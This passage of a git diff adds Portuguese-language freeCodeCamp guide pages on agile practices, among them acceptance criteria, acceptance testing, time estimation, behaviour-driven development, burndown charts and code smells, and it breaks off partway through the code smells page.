+Copyright © 2005 [World Wide Web Consortium](http://www.w3.org) , ( [MIT](http://www.csail.mit.edu/) , [ERCIM](http://www.ercim.org) , [Keio](http://www.keio.ac.jp) , [Beihang](http://ev.buaa.edu.cn) ). http://www.w3.org/Consortium/Legal/2015/doc-license
+
+### Mais Informações:
+
+[w3.org introdução à acessibilidade.](https://www.w3.org/WAI/intro/accessibility.php) [O projeto A11Y](http://a11yproject.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/acceptance-criteria/index.md b/client/src/guide/portuguese/agile/acceptance-criteria/index.md
new file mode 100644
index 0000000000..4e9be6e61c
--- /dev/null
+++ b/client/src/guide/portuguese/agile/acceptance-criteria/index.md
@@ -0,0 +1,21 @@
+---
+title: Acceptance Criteria
+localeTitle: Critérios de aceitação
+---
+## Critérios de aceitação
+
+A História do usuário, como um item em sua lista de pendências, é um marcador de posição para uma conversa. Nesta conversa, o Product Owner e a Delivery Team chegam a um entendimento sobre o resultado desejado.
+
+Os Critérios de Aceitação informam à Equipe de Entrega como o código deve se comportar. Evite escrever o **"como"** da história do usuário; mantenha o **"o que"** . Se a equipe estiver seguindo o TDD (Test Driven Development), ela poderá fornecer a estrutura para os testes automatizados. Os Critérios de Aceitação serão o início do plano de teste para a equipe de QA.
+
+Mais importante ainda, se a história não atender a cada um dos Critérios de aceitação, o Product Owner não deve aceitar a história no final da iteração.
+
+Os critérios de aceitação podem ser vistos como um instrumento para proteger a equipe de entrega. Quando a equipe de entrega se compromete com um conjunto fixo de histórias no planejamento da Sprint, ele também se compromete com um conjunto fixo de critérios de aceitação. Isso ajuda a evitar o deslizamento do escopo.
+
+Considere a seguinte situação: ao aceitar a história do usuário, o Product Owner sugere adicionar algo que não estava no escopo da história do usuário. Nesse caso, a equipe de entrega está em condições de rejeitar essa solicitação (por menor que seja) e solicitar que o proprietário do produto crie uma nova história de usuário que possa ser resolvida em outro Sprint.
+
+#### Mais Informações:
+
+Nomad8 fornece uma [FAQ sobre Critérios de Aceitação](https://nomad8.com/acceptance_criteria/)
+
+Maior Agile nos [Critérios de Aceitação](https://www.leadingagile.com/2014/09/acceptance-criteria/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/acceptance-testing/index.md b/client/src/guide/portuguese/agile/acceptance-testing/index.md
new file mode 100644
index 0000000000..31e1bc23ff
--- /dev/null
+++ b/client/src/guide/portuguese/agile/acceptance-testing/index.md
@@ -0,0 +1,133 @@
+---
+title: Acceptance Testing
+localeTitle: Teste de aceitação
+---
+## Teste de aceitação
+
+Teste de aceitação, uma técnica de teste executada para determinar se o sistema de software atendeu ou não às especificações do requisito. O principal objetivo deste teste é avaliar a conformidade do sistema com os requisitos de negócios e verificar se ele atende aos critérios exigidos para entrega aos usuários finais.
+
+Existem várias formas de teste de aceitação:
+
+\-> Teste de aceitação do usuário
+
+\-> Teste de aceitação de negócios
+
+\-> Teste Alfa
+
+\-> Testes Beta
+
+# Critérios de aceitação
+
+Os critérios de aceitação são definidos com base nos seguintes atributos
+
+\-> Correção Funcional e Completude
+
+\-> Integridade de dados
+
+\-> Conversão de dados
+
+\-> Usabilidade
+
+\-> Desempenho
+
+\-> Pontualidade
+
+\-> Confidencialidade e Disponibilidade
+
+\-> Capacidade de instalação e atualização
+
+\-> Escalabilidade
+
+\-> Documentação
+
+# Plano de Teste de Aceitação - Atributos
+
+As atividades de teste de aceitação são realizadas em fases. Em primeiro lugar, os testes básicos são executados e, se os resultados do teste são satisfatórios, a execução de cenários mais complexos é realizada.
+
+O plano de teste de aceitação possui os seguintes atributos:
+
+\-> Introdução
+
+\-> Categoria de teste de aceitação
+
+\-> ambiente de operação
+
+\-> ID do caso de teste
+
+\-> título do teste
+
+\-> Objetivo do Teste
+
+\-> Procedimento de Teste
+
+\-> Horário de teste
+
+\-> Recursos
+
+\=> As atividades de teste de aceitação são projetadas para chegar a uma das conclusões:
+
+Aceite o sistema como entregue
+
+Aceite o sistema após as modificações solicitadas terem sido feitas
+
+Não aceite o sistema
+
+# Relatório de Teste de Aceitação - Atributos
+
+O Relatório de teste de aceitação possui os seguintes atributos:
+
+\-> Identificador de relatório
+
+\-> Resumo dos Resultados
+
+\-> Variações
+
+\-> Recomendações
+
+\-> Resumo da lista To-DO
+
+# \-> Decisão de Aprovação
+
+O Teste de Aceitação se concentra em verificar se o software desenvolvido atende a todos os requisitos. Seu principal objetivo é verificar se a solução desenvolvida atende às expectativas do usuário.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O teste de aceitação é uma prática bem estabelecida no desenvolvimento de software. O teste de aceitação é uma parte importante do teste funcional do seu código.
+
+Um Teste de Aceitação testa que o código executa conforme o esperado, ou seja, produz a saída esperada, dadas as entradas esperadas.
+
+Um Teste de Aceitação é usado para testar blocos funcionais relativamente maiores de software, conhecidos como Recursos.
+
+### Exemplo
+
+Você criou uma página que exige que o usuário insira primeiro seu nome em uma caixa de diálogo antes de poder ver o conteúdo. Você tem uma lista de usuários convidados, portanto, qualquer outro usuário receberá um erro.
+
+Existem vários cenários aqui, como:
+
+*   Toda vez que você carregar a página, você precisa digitar seu nome.
+*   Se o seu nome estiver na lista, a caixa de diálogo desaparecerá e você verá o artigo.
+*   Se o seu nome não estiver na lista, a caixa de diálogo mostrará um erro.
+
+Você pode escrever Testes de Aceitação para cada um desses sub-recursos do recurso de caixa de diálogo maior
+
+Além do código que lida com a infraestrutura de como o teste será executado, seu teste para o primeiro cenário poderia ser semelhante (no pseudocódigo):
+
+Dado que a página está aberta A caixa de diálogo deve estar visível E a caixa de diálogo deve conter uma caixa de entrada E a caixa de entrada deve ter um texto de espaço reservado "Seu nome, por favor!"
+
+### Notas
+
+Os Testes de Aceitação podem ser escritos em qualquer idioma e executados usando várias ferramentas disponíveis que cuidariam da infraestrutura mencionada acima, por exemplo, Abrindo um navegador, carregando uma página, fornecendo os métodos para acessar elementos na página, bibliotecas de asserção e assim por diante.
+
+Toda vez que você escreve um software que será usado novamente (até sozinho), é útil escrever um teste para ele. Quando você ou outra pessoa fizer alterações nesse código, a execução dos testes garantirá que você não quebrou a funcionalidade existente.
+
+Geralmente é realizado pelos usuários ou pelos especialistas no assunto. Também é chamado de teste de aceitação do usuário (UAT). A UAT envolve os cenários mais comuns da vida real. Ao contrário do teste do sistema, ele não se concentra nos erros ou falhas, mas na funcionalidade. O UAT é feito no final do ciclo de vida do teste e decide se o software é movido para o próximo ambiente ou não.
+
+Uma boa maneira de definir quais testes de aceitação devem ser escritos é adicionar critérios de aceitação a uma história do usuário. Com os critérios de aceitação, você pode definir quando uma história de usuário está pronta para ser implantada e o problema é concluído de acordo com seus desejos.
+
+Em um projeto Ágil, é importante que a equipe tenha critérios de aceitação definidos para todas as histórias de usuários. O trabalho de Teste de Aceitação utilizará os critérios definidos para avaliar a funcionalidade entregue. Quando uma história pode passar por todos os critérios de aceitação, ela está completa.
+
+O teste de aceitação também pode validar se uma epopéia / história / tarefa concluída atende aos critérios de aceitação definidos. Em contraste com a definição de concluído, esse critério pode abranger casos de negócios específicos que a equipe deseja resolver. Isso fornece uma boa medição da qualidade do trabalho.
+
+#### Mais Informações:
+
+*   [Conselho Internacional de Qualificações para Testes de Software](http://www.istqb.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/actual-time-estimation/index.md b/client/src/guide/portuguese/agile/actual-time-estimation/index.md
new file mode 100644
index 0000000000..b7e2076d0d
--- /dev/null
+++ b/client/src/guide/portuguese/agile/actual-time-estimation/index.md
@@ -0,0 +1,53 @@
+---
+title: Actual Time Estimation
+localeTitle: Estimativa de tempo real
+---
+## Estimativa de tempo real
+
+Estimativa de tempo real é o processo de previsão da quantidade mais realista de esforço (expressa em termos de pessoa-horas ou dinheiro) necessária para desenvolver ou manter software com base em insumos incompletos, incertos e com ruído. As estimativas de esforço podem ser usadas como entrada para planos de projeto, planos de iteração, orçamentos, análises de investimento, processos de precificação e rodadas de licitação.
+
+### Estado de prática
+
+Pesquisas publicadas sobre a prática de estimativas sugerem que a estimativa de especialistas é a estratégia dominante ao estimar o esforço de desenvolvimento de software.
+
+Normalmente, as estimativas de esforço são excessivamente otimistas e existe uma forte confiança em sua precisão. A sobrecarga média de esforço parece ser de cerca de 30% e não diminui com o tempo. Para uma revisão das pesquisas de erros de estimativa de esforço, consulte. No entanto, a medição do erro de estimativa é problemática, consulte Avaliação da precisão das estimativas. O forte excesso de confiança na precisão das estimativas de esforço é ilustrado pela constatação de que, em média, se um profissional de software tem 90% de confiança ou “quase certo” de incluir o esforço real em um intervalo mínimo-máximo, a frequência observada de inclusão o esforço real é de apenas 60-70%.
+
+Atualmente, o termo “estimativa de esforço” é usado para designar conceitos diferentes como o uso mais provável de esforço (valor modal), o esforço que corresponde a uma probabilidade de 50% de não exceder (mediana), o esforço planejado, o esforço orçado ou o esforço utilizado para propor uma proposta ou preço ao cliente. Acredita-se que isso seja lamentável, porque problemas de comunicação podem ocorrer e porque os conceitos servem a objetivos diferentes.
+
+### História
+
+Pesquisadores e profissionais de software vêm abordando os problemas de estimativa de esforço para projetos de desenvolvimento de software desde pelo menos a década de 1960; veja, por exemplo, o trabalho de Farr e Nelson.
+
+A maioria das pesquisas se concentrou na construção de modelos formais de estimativa de esforço de software. Os primeiros modelos eram tipicamente baseados em análise de regressão ou matematicamente derivados de teorias de outros domínios. Desde então, um grande número de abordagens de construção de modelos foi avaliado, como abordagens baseadas em raciocínio baseado em casos, árvores de classificação e regressão, simulação, redes neurais, estatística bayesiana, análise lexical de especificações de requisitos, programação genética, programação linear, produção econômica. modelos, soft computing, modelagem lógica fuzzy, bootstrapping estatístico e combinações de dois ou mais desses modelos.
+
+Os métodos de estimativa mais comuns hoje em dia são os modelos de estimativa paramétrica COCOMO, SEER-SEM e SLIM. Eles têm sua base em pesquisas de estimativas realizadas nas décadas de 1970 e 1980 e, desde então, atualizados com novos dados de calibração, sendo o último lançamento importante o COCOMO II no ano 2000. As abordagens de estimativa baseadas em medidas de tamanho baseadas na funcionalidade, por exemplo, função pontos, também é baseado em pesquisas realizadas nas décadas de 1970 e 1980, mas são recalibradas com medidas de tamanho modificadas e diferentes abordagens de contagem, como os pontos de casos de uso ou pontos de objeto na década de 1990 e COSMIC na década de 2000.
+
+A estimativa de tempo real é um método baseado em tempo para estimar o trabalho de desenvolvimento.
+
+É extremamente importante poder estimar o tempo até a conclusão de um projeto Ágil, infelizmente, é também uma das partes mais difíceis do planejamento de um projeto Ágil.
+
+Sua intenção é melhor aproximar a quantidade de tempo necessária para concluir uma determinada tarefa de desenvolvimento.
+
+Uma técnica que você pode usar é estimar o tempo que levará para completar as histórias do usuário. Quando você estiver fazendo isso, lembre-se de consultar outros membros de sua equipe ágil. Para cada história de usuário, certifique-se de estimar um tempo que seja realista e viável, mas não tanto que o cliente seja sobrecarregado por um trabalho simples. Consulte os membros de sua equipe para que você possa aproveitar seus conhecimentos para poder entender quanto trabalho é necessário e quanto tempo levará. Quando você tem um consenso para cada história de usuário, pode somar os tempos para gerar uma estimativa de tempo.
+
+Como os requisitos do projeto mudam com o tempo, você pode atualizar a estimativa. Se um projeto perder alguns recursos originalmente alocados para ele, talvez seja necessário cortar as histórias do usuário para poder concluí-las na mesma quantidade de tempo total. Da mesma forma, se você quiser melhorar a qualidade do aplicativo, poderá precisar alocar mais tempo para cada história de usuário para garantir que sua equipe tenha tempo de concluir o aplicativo com a qualidade desejada.
+
+Geralmente, essas estimativas são calculadas usando horas de engenharia ideais.
+
+Exemplos:
+
+**Esta tarefa estará completa em 10 dias.**
+
+Ou…
+
+**Esta tarefa estará concluída até 10 de janeiro.**
+
+Ou…
+
+**Essa tarefa exigirá 25 horas de desenvolvimento para conclusão.**
+
+### Mais Informações:
+
+*   [Restrições ágeis](http://www.brighthubpm.com/agile/50212-the-agile-triangle-value-quality-and-constraints/)
+    
+*   [Como você estima em um projeto ágil?](http://info.thoughtworks.com/rs/thoughtworks2/images/twebook-perspectives-estimation_1.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/alignment/index.md b/client/src/guide/portuguese/agile/alignment/index.md
new file mode 100644
index 0000000000..19d871a136
--- /dev/null
+++ b/client/src/guide/portuguese/agile/alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Alignment
+localeTitle: Alinhamento
+---
+## Alinhamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/application-lifecycle-management/index.md b/client/src/guide/portuguese/agile/application-lifecycle-management/index.md
new file mode 100644
index 0000000000..89c85b672d
--- /dev/null
+++ b/client/src/guide/portuguese/agile/application-lifecycle-management/index.md
@@ -0,0 +1,25 @@
+---
+title: Application Lifecycle Management
+localeTitle: Gerenciamento de ciclo de vida de aplicativos
+---
+## Gerenciamento de ciclo de vida de aplicativos
+
+O Application Lifecycle Management (ALM), embora comumente associado ao SDLC (Software Development Lifecycle), é uma perspectiva mais ampla que se alinha melhor ao conceito de Product Lifecycle. O desenvolvimento (SDLC) é apenas uma parte do ciclo de vida do aplicativo e, portanto, é representado como parte do ALM.
+
+O ALM pode ser dividido em três áreas distintas: Governança, Desenvolvimento e Operações:
+
+Governança: engloba toda a tomada de decisão e gerenciamento de projetos para esta aplicação, estende-se por toda a existência da aplicação.
+
+Desenvolvimento: Processo (SDLC) de criar realmente o aplicativo. Para a maioria das aplicações, o processo de desenvolvimento reaparece várias vezes mais no tempo de vida do aplicativo, incluindo correções de bugs, melhorias e novas versões.
+
+Operações: o trabalho necessário para executar e gerenciar o aplicativo geralmente começa pouco antes da implantação e é executado continuamente até a desativação do aplicativo. Sobrepõe às vezes com o desenvolvimento.
+
+Ferramentas podem ser usadas para gerenciar o ALM; Algumas das opções mais populares incluem:
+
+*   Atlassian [JIRA](http://atlassian.com/software/jira)
+*   [Rally da](http://ca.com/us.html) CA Technologies
+*   [Thoughtworks](http://thoughtworks.com/products)
+
+#### Mais Informações:
+
+InfoQ - Gartner e Software Advice examinam [ferramentas do Agile Lifecycle Management](http://www.infoq.com/news/2015/02/agile-management-tools/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/architectural-runway/index.md b/client/src/guide/portuguese/agile/architectural-runway/index.md
new file mode 100644
index 0000000000..e5a50b04c8
--- /dev/null
+++ b/client/src/guide/portuguese/agile/architectural-runway/index.md
@@ -0,0 +1,5 @@
+---
+title: Architectural Runway
+localeTitle: Pista Arquitetônica
+---
+A pista arquitetônica está configurando tudo o que o programa precisaria antes do início do projeto. Isso permite que os desenvolvedores atinjam o chão.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/backlog-emergence-and-grooming/index.md b/client/src/guide/portuguese/agile/backlog-emergence-and-grooming/index.md
new file mode 100644
index 0000000000..0d9c1c7658
--- /dev/null
+++ b/client/src/guide/portuguese/agile/backlog-emergence-and-grooming/index.md
@@ -0,0 +1,20 @@
+---
+title: Backlog Emergence and Refinement
+localeTitle: Backlog Emergence and Refinement
+---
+## Backlog Emergence and Refinement
+
+O refinamento do backlog do produto é um processo contínuo que precisa estar em sincronia com o processo de descoberta do produto. Geralmente, uma equipe Scrum irá refinar colaborativamente os itens do backlog do produto para os próximos dois a três sprints.
+
+O proprietário de um produto (responsável individual por esclarecer o objetivo de um sprint) define o escopo dos próximos sprints, identificando e triando as histórias de usuário mais valiosas no backlog do produto. O proprietário de um produto é mais do que um gerente de projeto glorificado do backlog do produto e desempenha mais funções do que simplesmente histórias de usuários em nome das partes interessadas.
+
+Do Guia do Scrum: O refinamento do Product Backlog é o ato de adicionar detalhes, estimativas e pedidos aos itens no Product Backlog. Este é um processo contínuo em que o Dono do Produto e a Equipe de Desenvolvimento colaboram nos detalhes dos itens do Backlog do Produto. Durante o refinamento do Product Backlog, os itens são revisados ​​e revisados.
+
+O Time Scrum decide como e quando o refinamento é feito. O refinamento geralmente não consome mais de 10% da capacidade da equipe de desenvolvimento. No entanto, os itens do Backlog do Produto podem ser atualizados a qualquer momento pelo Dono do Produto ou a critério do Dono do Produto. O objetivo do refinamento é ter itens suficientes do Backlog do Produto "Pronto" para o próximo Planejamento da Sprint do Sprint. Geralmente, uma equipe de scrum irá refinar colaborativamente os itens do backlog do produto para os próximos dois a três sprints.
+
+Emergência e refinamento do backlog são tarefas essenciais para toda equipe de scrum. O Product Owner define o escopo das próximas etapas, identificando e triando as histórias de usuário mais valiosas no backlog do produto. Embora o Product Owner esteja encarregado de manter o backlog do produto na entrega do valor máximo, eles precisam da assistência de todo o Time Scrum para fazê-lo. A alteração do Backlog do Sprint faz parte do Sprint em andamento e não é considerado Refinamento.
+
+#### Mais Informações:
+
+*   [Otimizando o refinamento do backlog do produto](https://www.scrum.org/resources/blog/optimizing-product-backlog-refinement)
+*   Guia do Scrum (http://www.scrumguides.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/backlog-item-effort/index.md b/client/src/guide/portuguese/agile/backlog-item-effort/index.md
new file mode 100644
index 0000000000..e655023b47
--- /dev/null
+++ b/client/src/guide/portuguese/agile/backlog-item-effort/index.md
@@ -0,0 +1,11 @@
+---
+title: Backlog Item Effort
+localeTitle: Esforço do Item do Backlog
+---
+## Esforço do Item do Backlog
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/backlog-item-effort/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/behavior-driven-development/index.md b/client/src/guide/portuguese/agile/behavior-driven-development/index.md
new file mode 100644
index 0000000000..25bbb515b3
--- /dev/null
+++ b/client/src/guide/portuguese/agile/behavior-driven-development/index.md
@@ -0,0 +1,60 @@
+---
+title: Behavior Driven Development
+localeTitle: Desenvolvimento Orientado por Comportamento
+---
+## Desenvolvimento Orientado por Comportamento
+
+Behavior Driven Development (BDD) é um processo de desenvolvimento de software que surgiu ![Test Driven Development (TDD)](../test-driven-development/index.md) . O Behavior Driven Development combina as técnicas e princípios gerais do TDD com ideias de design orientado a domínio e análise e design orientados a objetos para fornecer às equipes de desenvolvimento e gerenciamento de software ferramentas compartilhadas e um processo compartilhado para colaborar no desenvolvimento de software. É uma metodologia de desenvolvimento de software na qual um aplicativo é especificado e projetado descrevendo como seu comportamento deve aparecer para um observador externo.
+
+Embora o BDD seja principalmente uma ideia de como o desenvolvimento de software deve ser gerenciado por interesses comerciais e insight técnico, a prática do BDD pressupõe o uso de ferramentas de software especializadas para dar suporte ao processo de desenvolvimento.
+
+Embora essas ferramentas geralmente sejam desenvolvidas especificamente para uso em projetos de BDD, elas podem ser vistas como formas especializadas de ferramentas que suportam o desenvolvimento orientado a testes. As ferramentas servem para adicionar automação à linguagem onipresente que é um tema central do BDD.
+
+O BDD se concentra em:
+
+*   Onde começar no processo
+*   O que testar e o que não testar
+*   Quanto para testar de uma só vez
+*   O que chamar os testes
+*   Como entender por que um teste falha
+
+No coração do BDD está um repensar da abordagem do teste de unidade e do teste de aceitação que surgem naturalmente com esses problemas. Por exemplo, o BDD sugere que os nomes de teste de unidade sejam sentenças completas começando com um verbo condicional ("deveria" em inglês, por exemplo) e devem ser escritas em ordem de valor de negócios. Os testes de aceitação devem ser escritos usando a estrutura ágil padrão de uma história do usuário: "Como uma _função que_ eu quero _recurso_ para que _benefício_ ". Os critérios de aceitação devem ser escritos em termos de cenários e implementados como classes: Dado _o contexto inicial_ , quando o _evento ocorre_ , _assegure alguns resultados_ .
+
+Exemplo
+```
+Story: Returns go to stock 
+ 
+ As a store owner 
+ In order to keep track of stock 
+ I want to add items back to stock when they're returned. 
+ 
+ Scenario 1: Refunded items should be returned to stock 
+ Given that a customer previously bought a black sweater from me 
+ And I have three black sweaters in stock. 
+ When he returns the black sweater for a refund 
+ Then I should have four black sweaters in stock. 
+ 
+ Scenario 2: Replaced items should be returned to stock 
+ Given that a customer previously bought a blue garment from me 
+ And I have two blue garments in stock 
+ And three black garments in stock. 
+ When he returns the blue garment for a replacement in black 
+ Then I should have three blue garments in stock 
+ And two black garments in stock. 
+```
+
+Junto com isso estão alguns Benefícios:
+
+1.  Todo o trabalho de desenvolvimento pode ser rastreado diretamente aos objetivos de negócios.
+2.  O desenvolvimento de software atende às necessidades do usuário. Usuários satisfeitos = bons negócios.
+3.  Priorização eficiente - os recursos essenciais aos negócios são entregues primeiro.
+4.  Todas as partes têm uma compreensão compartilhada do projeto e podem estar envolvidas na comunicação.
+5.  Uma linguagem compartilhada garante que todos (técnicos ou não) tenham uma visibilidade completa da progressão do projeto.
+6.  Design de software resultante que corresponde a existente e suporta necessidades de negócios futuras.
+7.  Melhoria no código de qualidade, reduzindo os custos de manutenção e minimizando o risco do projeto.
+
+## Mais Informações
+
+*   Wiki no [BDD](https://en.wikipedia.org/wiki/Behavior-driven_development)
+*   Um conhecido framework de Behavior Driven Development (BDD) é o [Pepino](https://cucumber.io/) . Pepino suporta muitas linguagens de programação e pode ser integrado com um número de frameworks; por exemplo, [Ruby on Rails](http://rubyonrails.org/) , [Spring Framework](http://spring.io/) e [Selenium](http://www.seleniumhq.org/)
+*   https://inviqa.com/blog/bdd-guide
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/build-measure-learn/index.md b/client/src/guide/portuguese/agile/build-measure-learn/index.md
new file mode 100644
index 0000000000..1a0386d57d
--- /dev/null
+++ b/client/src/guide/portuguese/agile/build-measure-learn/index.md
@@ -0,0 +1,29 @@
+---
+title: Build Measure Learn
+localeTitle: Construa Medida Aprenda
+---
+## Construa Medida Aprenda
+
+O loop Build-Measure-Learn é um método usado para criar o produto certo. Cunhado no livro "Lean Startup", de Eric Reis, o loop permite uma experimentação rápida, com o único propósito de conseguir o ajuste do mercado. Em outras palavras, é um sistema poderoso para validar suposições relativas a um produto que você se propõe a entregar. Quebrando o loop, consiste nas seguintes partes:
+
+![construir-medir-aprender-loop](https://steveblank.files.wordpress.com/2015/05/ideas-build-code-measure.jpg)
+
+### Idéia
+
+Cada loop começa com uma ideia que fornecerá valor comercial a alguns usuários. Essa ideia deve consistir em uma visão de um produto - que o direcionará para o que construir e uma métrica que apontará se suas suposições sobre o valor do negócio estavam corretas.
+
+### Construir
+
+Para validar a sua ideia, você planeja construir um Produto Mínimo Viável (MVP), combinado com métricas predefinidas (uma é a preferida), cuja finalidade é validar sua teoria e ajudá-lo a decidir se você deve preservar ou girar.
+
+### A medida
+
+Este estágio é focado na coleta de dados e métricas do MVP.
+
+### Aprender
+
+Em seguida, usando os dados coletados, uma decisão precisa ser tomada, se o seu produto é ou não usado pelos usuários e, portanto, você deve preservar ou se os usuários não estão interessados ​​no produto e, como tal, você deve girar. A fase de aprendizado está, portanto, terminando com uma ideia (seja como expandir o produto ou como girar a partir do produto original), aplicável ao próximo ciclo de Aprimoramento de Medida de Construção.
+
+#### Mais Informações:
+
+[Por que construir, medir, aprender - não é apenas jogar coisas contra a parede para ver se funcionam - o produto mínimo viável](https://steveblank.com/2015/05/06/build-measure-learn-throw-things-against-the-wall-and-see-if-they-work/) [O ciclo de feedback Build-Measure-Learn](https://www.mindtools.com/pages/article/build-measure-learn.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/burndown-charts-and-burnup-charts/index.md b/client/src/guide/portuguese/agile/burndown-charts-and-burnup-charts/index.md
new file mode 100644
index 0000000000..3484957a6f
--- /dev/null
+++ b/client/src/guide/portuguese/agile/burndown-charts-and-burnup-charts/index.md
@@ -0,0 +1,21 @@
+---
+title: Burndown Charts and Burnup Charts
+localeTitle: Gráficos Burndown e Gráficos de Burnup
+---
+## Gráficos Burndown e Gráficos de Burnup
+
+Gráficos de Burndown e burnup são usados ​​para medir o progresso de um projeto - geralmente um sprint de desenvolvimento sob a metodologia Agile. Ambos os gráficos representam visualmente o trabalho versus o tempo.
+
+Os gráficos Burndown mostram quanto trabalho resta para ser feito versus a quantidade de tempo restante. O eixo Y representa o trabalho a ser feito - geralmente relacionado a uma estimativa de tempo atribuída a cada tarefa, por exemplo, pontos de história - e o eixo X representa o tempo restante. Duas linhas são usadas; o primeiro - "Linha Restante de Trabalho Ideal" - representa uma burndown ideal, onde cada dia uma quantidade de trabalho proporcional à quantidade total de tempo é concluída, resultando em uma linha reta. A segunda "Linha restante do trabalho real" é usada para traçar o progresso real à medida que os funcionários passam pelo desenvolvimento para um estado concluído. Um exemplo de um gráfico de burndown é mostrado abaixo.
+
+![alt text](https://upload.wikimedia.org/wikipedia/commons/8/8c/Burn_down_chart.png "Fonte da imagem: Wikipedia")
+
+Muitas Equipes Scrum usam gráficos burndown para ver como estão indo durante o sprint. Ter uma burla regular e constante pode ser um indicador de que as histórias são pequenas e administráveis. Se uma equipe notar no meio de um sprint que a "Linha restante de trabalho real" está acima da "Linha restante de trabalho ideal", eles podem fazer ajustes no escopo: as histórias podem ser tiradas do sprint ou o escopo das histórias pode ser feito menor. Olhando para a burndown durante a retrospectiva no final do sprint pode desencadear algumas discussões interessantes e resultar em melhorias no processo.
+
+Os gráficos de burnup são muito semelhantes, mas mostram o trabalho que foi concluído versus a quantidade total de trabalho e tempo restante. Três linhas são usadas - uma linha ideal, uma linha de trabalho concluída e uma linha de trabalho total. Neste gráfico, a linha de trabalho total deve estar relativamente estável na parte superior do gráfico e é uma boa representação da alteração do escopo. A linha de trabalho concluída deve se mover de forma constante em direção à linha de trabalho total durante o período de tempo no projeto - sua trajetória ideal é mostrada pela linha ideal. Um exemplo é mostrado abaixo.
+
+![alt text](https://media.licdn.com/mpr/mpr/shrinknp_800_800/AAEAAQAAAAAAAAljAAAAJGQ1ZDI2NzRkLWExYTQtNGI2OS1hZmZjLTM1NGMzYTk1NTEyNg.png "Fonte da imagem: Ala'a Elbeheri, LinkedIn")
+
+#### Mais Informações:
+
+[Gráficos Burndown - Wikipédia, a enciclopédia livre](https://en.wikipedia.org/wiki/Burn_down_chart) [Queime-se vs queime o gráfico-LinkedIn](https://www.linkedin.com/pulse/burn-up-vs-down-chart-alaa-el-beheri-cisa-rmp-pmp-bcp-itil/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/business-value/index.md b/client/src/guide/portuguese/agile/business-value/index.md
new file mode 100644
index 0000000000..b45c401985
--- /dev/null
+++ b/client/src/guide/portuguese/agile/business-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Business Value
+localeTitle: Valor do negócio
+---
+## Valor do negócio
+
+O valor comercial é o foco da entrega ágil. A equipe ágil é encarregada de avaliar o valor comercial de todo o trabalho.
+
+O valor comercial descreve o que o cliente receberá por um trabalho específico.
+
+Este valor é descoberto através de conversas com o cliente e análise do trabalho envolvido. Os participantes do negócio podem ter dados que quantificam o valor de um determinado recurso que foi solicitado. O proprietário de um produto usará as várias fontes de informação disponíveis e dedicará um tempo significativo para entender, avaliar e priorizar o valor que o cliente receberá por determinado trabalho.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/chickens-versus-pigs/index.md b/client/src/guide/portuguese/agile/chickens-versus-pigs/index.md
new file mode 100644
index 0000000000..33897f0a8a
--- /dev/null
+++ b/client/src/guide/portuguese/agile/chickens-versus-pigs/index.md
@@ -0,0 +1,18 @@
+---
+title: Chickens Versus Pigs
+localeTitle: Frangos Versus Porcos
+---
+## Frangos Versus Porcos
+
+"Galinhas versus Porcos" refere-se a uma história sobre uma galinha e um porco, onde o frango propõe que eles abram um restaurante chamado "Ham-n-Eggs". O porco se recusa, porque enquanto o frango só precisa colocar ovos, o porco tem mais em jogo.
+
+Em um projeto de desenvolvimento de software ágil, o desenvolvedor de software é o porco. Se você não conseguir concluir o trabalho ou não o fizer bem, você tem muito em jogo. Essa pode ser sua reputação ou talvez até sua posição. Outros membros da equipe também podem ser considerados porcos, dependendo de quanto eles têm em jogo.
+
+Por outro lado, muitos membros da equipe são frangos. Por exemplo, o cliente ou um gerente de projeto de alto nível não seria realmente afetado pelo fracasso do projeto. Eles estão interessados ​​em seu sucesso e podem fazer contribuições, mas têm apostas menores e, portanto, têm significativamente menos compromisso com o projeto.
+
+Você deve se esforçar para ser um porco e não um frango. Você pode se beneficiar de (mas não confiar) nas aves para minimizar o risco e garantir que o projeto seja entregue da maneira mais eficiente possível.
+
+#### Mais Informações:
+
+[Jedi Ágil: A História da Galinha e do Porco](http://www.agilejedi.com/chickenandpig)  
+[Wikipedia: O Frango e o Porco](https://en.wikipedia.org/wiki/The_Chicken_and_the_Pig)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/code-smells/index.md b/client/src/guide/portuguese/agile/code-smells/index.md
new file mode 100644
index 0000000000..cfe97d91c0
--- /dev/null
+++ b/client/src/guide/portuguese/agile/code-smells/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Smells
+localeTitle: Cheiro de Código
+---
+## Cheiro de Código
+
+Um código O cheiro de programação de computadores é uma indicação superficial de que pode haver um problema em relação ao sistema e à qualidade do seu código. Esse problema pode exigir que a refatoração seja corrigida.
+
+É importante entender que o código fedorento funciona, mas não é de boa qualidade.
+
+#### Exemplos
+
+1.  Código duplicado - Blocos de código que foram replicados na base de código. Isso pode indicar que você precisa generalizar o código em uma função e chamá-lo em dois lugares, ou pode ser que a maneira como o código funciona em um lugar seja completamente não relacionada à maneira como ele funciona em outro lugar, apesar de ter sido copiado.
